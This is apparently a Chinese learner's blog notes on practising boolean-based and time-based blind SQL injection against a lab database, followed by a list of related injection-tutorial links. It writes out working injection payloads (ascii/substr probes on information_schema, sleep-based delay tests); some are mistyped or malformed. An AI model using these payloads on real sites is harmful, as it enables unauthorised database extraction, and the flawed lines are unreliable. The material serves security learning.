大哥带我走渗透ii--时间盲注,布尔盲注
5/27
基于布尔的盲注
- 我连题目都看不懂555,先去补充一点知识。https://blog.csdn.net/weixin_40709439/article/details/81355856
- 返回的true或者false
- 构造payload让信息通过错误提示回显出来,一种类型(其它的暂时不怎么了解)是先报字段数,再利用后台数据库报错机制回显(跟一般的报错区别是,一般的报错注入是爆出字段数后,在此基础通过正确的查询语句,使结果回显到页面;
- 后者是在爆出字段数的基础上使用能触发SQL报错机制的注入语句
- 接下来看看是否报
在这里我多加了一个‘ ,说明前面是一个完整的一对单引号;
4. 开始测试
- 第一步我们测试长度
构造语句:
...... and lenth((select database()))>5 #查询当前数据库字段的长度
.......错误,说明太长了。
大于3成立,小于4也成立,大于4不成立,所以length取3,但是实际的要加一,长度就是4;大于他就取他+1
5.利用substr()ascii()函数进行尝试,猜测数据库中的第一个表的第一个字符;
ascii(x)=101,判断x的ascii码是否等于101,即email中的字母e
substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101
这里,大于100成立,测试得出取115
SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),1,1))>115
6.我们继续测试其他字段,一共有4个;虽然组长哪里有答案,但是我还是自己测试了(最后一个除外),,emmmm练手??
- SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),1,1))>115 # 116 t
- SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),2,1))>100 # e
- SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),3,1))>114 # s
- SELECT * FROM admin WHERE id = 1 and ascii(substr((select database()),4,1))>115 # t
6.所以该数据库的名字为test,接下来我们判断数据库中有多少表
length((select table_name from information_schema.tables where table_schema='test' limit 0,1))>5
#
组长这里写的长度为4,但是我觉得应该是5;
7.构造爆表语句:
表一:
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>96
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),2,1))>???
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),3,1))>96
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),4,1))>96
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),5,1))>96
表二:
- ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 1,1),1,1))>96
username password
5/27 mysql注入 基于时间的盲注
1.基于时间盲注,类似于基于布尔的盲注,通过注入特定语句,根据判断结果的对错将会出现一定时间的网页请求响应的延时。
https://www.cnblogs.com/-zhong/p/10931563.html
2.and1=1 and1=2 都是一样的界面
https://blog.csdn.net/DarkHQ/article/details/79274376
3.检测语句:利用sleep()函数进行延时注入
and if(ascii(substr((select database()),1,1))>10000,1,sleep(5)) #返回是错误就延时5秒,if(a,b,c),如果条件b
4.开始猜长度,构造语句:
if(length((select database()))>3,1,sleep(5))
所以字段有4位,
5.接下来就开始爆表名。
构造语句:
- if(ascii(substr((select database()),1,1))=??,1,sleep(5),1)
- if(ascii(substr((select database()),2,1))=??,1,sleep(5),1)
- if(ascii(substr((select database()),3,1))=??,1,sleep(5),1)
- if(ascii(substr((select database()),4,1))=??,1,sleep(5),1)
这个就很不一样了,,睡代表真===
所以得到第一个字母:116 t
最后得出:test
6.开始构造第一个字母。
?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))>100,1,sleep(5))
后面是,爆完字段爆表名,报完表名爆表里面的单个字名,
===写不来了。。。看组长的===https://www.cnblogs.com/-zhong/p/10931563.html
大哥带我走渗透ii--时间盲注,布尔盲注的更多相关文章
- 划水日记之大哥带我走渗透I
5/24/19 周五 access注入 先测试是否有漏洞 or nor and 1=1 and 1=2 2. Order by 猜字表端,发现一共有22个 3..然后使用 union select 1 ...
- 大哥带我走渗透8--CSRF的应用
1.大哥给了一个CSRF实战视频,真的很简单,但是我今天晚上有点不在状态,很多简单的问题也没有想.所以做了一个多小时.这件事给我的启发就是,无论发生什么事,都不要影响自己的学习.先写点废话,真的真的, ...
- 大哥带我走渗透4(中)----oracle报错注入
5/30 报错注入 0x01 准备阶段 1. 基础知识今天了解了,但是,只能看懂和最基本的理解,不能自己上路.所以,还是要不停学习基础.并且及时总结.这有一篇很详细的文章:https://www.cn ...
- 大哥带的Orchel数据库时间盲注
0X01Oracle基于延时的盲注总结 0x00 前言 oracle注入中可以通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注: oracle的时间盲注通常 ...
- 老鼠走迷宫II
转自:http://blog.csdn.net/holymaple/article/details/8636234 由于迷宫的设计,老鼠走迷宫的入口至出口路径可能不止一条,如何求出所有的路径呢? 解法 ...
- WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注
1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
- sql布尔盲注和时间盲注的二分脚本
布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...
- sqli-labs less8-10(布尔盲注时间盲注)
less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...
随机推荐
- [IOI1998]Polygon(区间dp)
[IOI1998]Polygon 题意翻译 多边形是一个玩家在一个有n个顶点的多边形上的游戏,如图所示,其中n=4.每个顶点用整数标记,每个边用符号+(加)或符号*(乘积)标记. 第一步,删除其中一条 ...
- BZOJ2002 [HNOI2010] 弹飞绵羊
LCT access完了一定splay再用!!! 悲伤= = LCT裸题 把调出去设虚点n+1即可 //Love and Freedom. #include<cstdio> #includ ...
- Servlet学习request对象总结
一.servletContext对象和request对象的比较 ServletContext 何时创建:服务器启动 何时销毁:服务器关闭 域的作用范围:整个web应用 request 何时创建:访问时 ...
- 15_1.InetAddress
import java.net.InetAddress; import java.net.UnknownHostException; public class InetAdressTest { pub ...
- Spring Transaction Isolation
原创转载请注明出处:https://www.cnblogs.com/agilestyle/p/11530702.html Reference http://docs.spring.io/spring/ ...
- pycharm之black配置for python file(代码格式化工具)
一.介绍下black 源码;https://github.com/ambv/blackpei 二.具体步骤 第一步 安装black: 从命令行安装:例如Windows的cmd窗口,运行命令pip3 i ...
- 【Java】java获取json中某个字段
import com.alibaba.fastjson.JSONObject; public class JsonTest { public static void main(String[] arg ...
- 【HDOJ6601】Keen On Everything But Triangle(主席树)
题意:给定一个长为n的序列,有q次询问,每次询问[l,r]这段区间内挑三个数,能组成的三角形的最大周长,无解输出-1 n,q<=1e5,a[i]<=1e9 思路:题解写法和我的不太一样 先 ...
- flutter页面布局三
RaisedButton 为了实现今天的效果,在认识Wrap组件之前,先认识一下flutter中的按钮组件,Flutter 中通过 RaisedButton 定义一个按钮. import 'packa ...
- puppet(一种Linux、Unix、windows平台的集中配置管理系统)
puppet是一种Linux.Unix.windows平台的集中配置管理系统,使用自有的puppet描述语言,可管理配置文件.用户.cron任务.软件包.系统服务等.puppet把这些系统实体称之为资 ...